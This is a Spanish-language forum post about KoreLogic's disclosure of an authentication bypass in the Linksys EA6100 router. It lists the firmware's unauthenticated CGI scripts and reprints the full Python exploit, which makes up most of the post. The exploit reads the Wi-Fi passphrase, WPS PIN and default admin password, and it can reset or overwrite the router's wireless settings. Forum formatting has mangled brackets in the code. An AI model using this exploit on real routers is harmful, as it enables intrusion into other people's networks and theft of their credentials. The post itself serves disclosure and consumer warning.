[h]Brechas de seguridad criticas en el Linksys EA6100 [/h]
El Lynksis ea6100 es un punto de acceso compatible banda “a” y que puede alcanzar los 1200 Mbps con su MIMO 2T2R (dos antenas)
https://www.wifi-libre.com/img/members/3/ea6100.jpg
No tiene mala pinta… desgraciadamente lleva de serie unas brechas muy serias que** Linksys** no ha arreglado 
Brechas desveladas por Matt BERGIN de KoreLogic, Inc.
Ver:
[list=*]
]Linksys EA6100 Wireless Router Authentication Bypass @ Packet Storm/]
[/list]
Veamos un poco como, porque y por dónde duele…
[h]Scripts ***.cgi **ejecutables sin privilegios[/h]
Los scripts *.cgi son scripts “sistema” que permiten efectuar tareas de configuración.
Un intruso puede configurar el router sin conocer el password de administrador haciendo llamadas directas a los scripts *.cgi del EA6100
Puede incluso obtener información como la contraseña WiFi o el PIN WPS
miremos que pasa…
Empezamos con un listado de los directorios en la raíz (comando ls)
root@wpad:/tmp/_FW_EA6100_1.1.5.162431_prod.img.extracted/test# ls
bin dev etc home JNAP lib libexec linuxrc mnt opt proc root
sbin sys tmp usr var www
Navegamos un poco para legar dónde están los scripts *cgi (en www)
root@wpad:/tmp/_FW_EA6100_1.1.5.162431_prod.img.extracted/test# cd www
root@wpad:/tmp/_FW_EA6100_1.1.5.162431_prod.img.extracted/test/www# ls
bootloader_info.cgi dhcp_log.txt get_counter_info.cgi
incoming_log.txt JNAP outgoing_log.txt security_log.txt
sysinfo.cgi usbinfo.cgi cgi-bin ezwifi_cfg.cgi
getstinfo.cgi jcgi license.pdf qos_info.cgi
speedtest_info.cgi ui
Podemos ver scripts como sysinfo.cgi que no requieren credenciales…
[h]“Exploitando” la brecha[/h]
Jugando con sysinfo.cgi Matt ha creado un exploit que nos propone :
[code]./linksys-ea6100-auth-bypass -h
Usage: ./linksys-ea6100-auth-bypass [params]
-h Help Menu
-i Target Address
-r Reset Attack
-g Get System Info
-p Get Wifi Password[/code]
Si queremos conocer la contraseña wifi…
./linksys-ea6100-auth-bypass -i <ip_router> -pY Obtenemos la contraseña
[code] Getting wireless passphrase
SSID=840146d6919<redacted>
Passphrase=e0fc253e585bf33d7b<redacted>[/code]
Aquí tenéis el exploit (script python)
[code] #!/usr/bin/env python3
########################################################################
#
# Copyright 2015 KoreLogic Inc., All Rights Reserved.
#
# This proof of concept, having been partly or wholly developed
# and/or sponsored by KoreLogic, Inc., is hereby released under
# the terms and conditions set forth in the Creative Commons
# Attribution Share-Alike 4.0 (United States) License:
#
# http://creativecommons.org/licenses/by-sa/4.0/
#
#######################################################################
from optparse import OptionParser
from urllib.request import urlopen, Request
from base64 import b64encode
from json import loads
from sys import exit
def reset_ap(host, passphrase):
"""Resets the wireless security settings of the access point."""
try:
payload = '{"action":"http://linksys.com/jnap/wirelessap/SetRadioSettings", "request":{"radios":{"radioID":"RADIO_5GHz", "settings":{"isEnabled":true, "mode":"802.11mixed", "ssid":"korelogic", "broadcastSSID":true, "channelWidth":"Auto", "channel":0, "security":"WPA2-Personal", "wpaPersonalSettings":{"passphrase":"korelogic"}}}]}}]'
headers = {'X-JNAP-Action': 'http://linksys.com/jnap/core/Transaction', 'X-JNAP-Authorization': 'Basic {:s}'.format(str(b64encode(passphrase)))}
request = Request("https://{:s}/JNAP/".format(str(host)), payload.encode('ascii'), headers)
fd = urlopen(request)
data5 = loads(fd.read())'result']
fd.close()
except Exception as e:
print("!] Could not reset the 5ghz access point security, reason: {0}.".format(str(e)))
return -1
try:
payload = '{"action":"http://linksys.com/jnap/wirelessap/SetRadioSettings", "request":{"radios":{"radioID":"RADIO_2GHz", "settings":{"isEnabled":true, "mode":"802.11mixed", "ssid":"korelogic2", "broadcastSSID":true, "channelWidth":"Auto", "channel":0, "security":"WPA2-Personal", "wpaPersonalSettings":{"passphrase":"korelogic2"}}}]}}]'
headers = {'X-JNAP-Action': 'http://linksys.com/jnap/core/Transaction', 'X-JNAP-Authorization': 'Basic {:s}'.format(str(b64encode(passphrase)))}
request = Request("https://{:s}/JNAP/".format(str(host)), payload.encode('ascii'), headers)
fd = urlopen(request)
data2 = loads(fd.read())'result']
fd.close()
except Exception as e:
print("!] Could not reset the 2.4ghz access point security, reason: {0}".format(str(e)))
return -1
return data5, data2
def is_admin_default(host):
"""Determines whether or not the administrator passphrase is default."""
try:
request = Request("https://{:s}/JNAP/".format(str(host)), "{}".encode('ascii'), {'X-JNAP-Action': 'http://linksys.com/jnap/core/IsAdminPasswordDefault'})
fd = urlopen(request)
data = loads(fd.read().decode('utf-8'))'output']'isAdminPasswordDefault']
fd.close()
except Exception as e:
print("!] Could not determine if administrator passphrase is default, reason: {0}".format(str(e)))
return -1
return data
def is_host_alive(host):
"""Does a basic HTTP test to determine access."""
try:
fd = urlopen("https://{:s}/".format(str(host)))
fd.close()
except Exception as e:
print("!] Could not determine if target host was alive, reason: {:s}".format(str(e)))
return False
print("+] Target host is alive, proceeding.")
return True
def run_payload(host, payload_url):
"""Run a provided HTTP request."""
try:
target = "https://{:s}/{:s}".format(str(host), str(payload_url))
fd = urlopen(target)
data = fd.read()
fd.close()
except Exception as e:
print("!] Unable to execute payload, reason: {0}".format(str(e)))
return -1
return data.decode('utf-8')
def main():
"""Handle options provided and execute appropriate payloads."""
payload_url, o, a = None, None, None
print("Brought to you by Level at KoreLogic\n")
parser = OptionParser()
parser.add_option("--host", dest="host", help="Target IP address")
parser.add_option("--sysinfo", action="store_true", help="Get target system information")
parser.add_option("--getpwhash", action="store_true", help="Get target wireless password hash")
parser.add_option("--getclearpw", action="store_true", help="Get target wireless SSID and cleartext password")
parser.add_option("--isdefault", action="store_true", help="Check if target is running the default admin credential (if yes, obtain passphrase)")
parser.add_option("--resetwifi", action="store_true", help="Reset the access point security (requires default passphrase)")
parser.add_option("--poisonwifi", action="store_true", help="Poison the access point security settings")
parser.add_option("--getwpspin", action="store_true", help="Get the WPS pin for the target")
o, a = parser.parse_args()
if o.host is None:
print("!] You must specify a target host, please see --help")
exit(1)
else:
if is_host_alive(o.host) is not True:
print("!] Could not establish connection to target")
exit(1)
else:
if o.sysinfo is not None:
print("+] Obtaining system information -")
payload_url = "sysinfo.cgi"
response = run_payload(o.host, payload_url)
if response is not -1:
for line in response.split("\n"):
print(line)
if o.getpwhash is not None:
print("+] Obtaining wireless password hash -")
payload_url = "getstinfo.cgi"
response = run_payload(o.host, payload_url)
if response is not -1:
for line in response.split("\n"):
print("\t{0}".format(str(line)))
if o.getclearpw is not None:
print("+] Obtaining wireless ssid and password -")
payload_url = "sysinfo.cgi"
response = run_payload(o.host, payload_url)
if response is not -1:
for line in response.split("\n"):
if "wl0_ssid=" in line:
print("\twl0 SSID: {0}".format(str(line.split("=")[1])))
if "wl1_ssid=" in line:
print("\twl1 SSID: {0}".format(str(line.split("=")[1])))
if "wl0_passphrase=" in line:
print("\twl0 Passphrase: {0}".format(str(line.split("=")[1])))
if "wl1_passphrase=" in line:
print("\twl1 Passphrase: {0}".format(str(line.split("=")[1])))
if o.isdefault is not None:
print("+] Checking if administrator passphrase is default -")
payload_url = "sysinfo.cgi"
response = is_admin_default(o.host)
if response is True:
print("+] Passphrase is default, asking for the password -")
payload_url = "sysinfo.cgi"
response = run_payload(o.host, payload_url)
if response is not -1:
for line in response.split("\n"):
if "device::default_passphrase=" in line:
print("\tDefault passphrase: {0}".format(str(line.split("=")[1])))
else:
print("!] Passphrase is not default")
if o.getwpspin is not None:
print("+] Getting WPS pin -")
payload_url = "sysinfo.cgi"
response = run_payload(o.host, payload_url)
if response is not -1:
for line in response.split("\n"):
if "device::wps_pin=" in line:
print("\tWPS PIN: {0}".format(str(line.split("=")[1])))
if o.resetwifi is not None:
print("+] Resetting the access point security -")
payload_url = "sysinfo.cgi"
response = is_admin_default(o.host)
if response is True:
print("+] Admin password is default, asking for the password")
response = run_payload(o.host, payload_url)
if response is not -1:
for line in response.split("\n"):
if "device::default_passphrase=" in line:
passphrase = line.split("=")[1]
print("+] Got the passphrase: {0}".format(str(passphrase)))
data5, data2 = reset_ap(o.host, passphrase)
if data5 is 'OK' and data2 is 'OK':
print("+] AP will now restart with the SSID and passphrase: korelogic/korelogic and korelogic2/korelogic2")
else:
print("!] Admin password is not default.")
if o.poisonwifi is not None:
print("+] Poisoning wireless ssid configuration")
payload_url = "ezwifi_cfg.cgi?CMD=configure&2ssid=korelogic&2passphrase=korelogic&2mode=11b&5ssid=korelogic2&5passphrase=korelogic2&5mode=11a"
response = run_payload(o.host, payload_url)
if response is not -1:
payload_url = "sysinfo.cgi"
response = run_payload(o.host, payload_url)
if response is not -1:
ap_poisoned = None
for line in response.split("\n"):
if "wl0_ssid=" in line or "wl1_ssid=" in line:
if "korelogic" in line:
print("+] Access point ssid settings poisoned. An administrator will need to hit Apply anywhere in the UI")
ap_poisoned = 1
if ap_poisoned is None:
print("!] Access point ssid settings could not be poisoned, consider running --getclearpw")
if payload_url is None:
print("!] No attack has been specified, please see --help")
exit(1)
return exit(0)
if __name__ == "__main__":
main()
[/code]
Les invito a echar un ojo a esta parte para ver en detale lo que hace el exploit
parser.add_option("--host", dest="host", help="Target IP address")
parser.add_option("--sysinfo", action="store_true", help="Get target system information")
parser.add_option("--getpwhash", action="store_true", help="Get target wireless password hash")
parser.add_option("--getclearpw", action="store_true", help="Get target wireless SSID and cleartext password")
parser.add_option("--isdefault", action="store_true", help="Check if target is running the default admin credential (if yes, obtain passphrase)")
parser.add_option("--resetwifi", action="store_true", help="Reset the access point security (requires default passphrase)")
parser.add_option("--poisonwifi", action="store_true", help="Poison the access point security settings")
parser.add_option("--getwpspin", action="store_true", help="Get the WPS pin for the target")
El exploit no es muy “maligno” ya que se limita a dar los credenciales Wifi (pass y PIN WPS) y verifica si el pass de administrador es el por defecto o no.
Pero es solo una forma de explotar uno de los script *.cgi
Los de KoreLogic Inc advierten y dejan muy claro de que los otros scripts *.cgi permiten elaborar exploits mucho mas peligrosas que un simple “leaching” de los datos WiFi.
El gran problema en este asunto es la ausencia de reacción por parte de Lynksis.
Ni una palabra…
… Así que lo tenemos claro : No van a hacer nada al respecto.
Si habías pensado pedir a los reyes un EA6100… ¡No lo hagas! 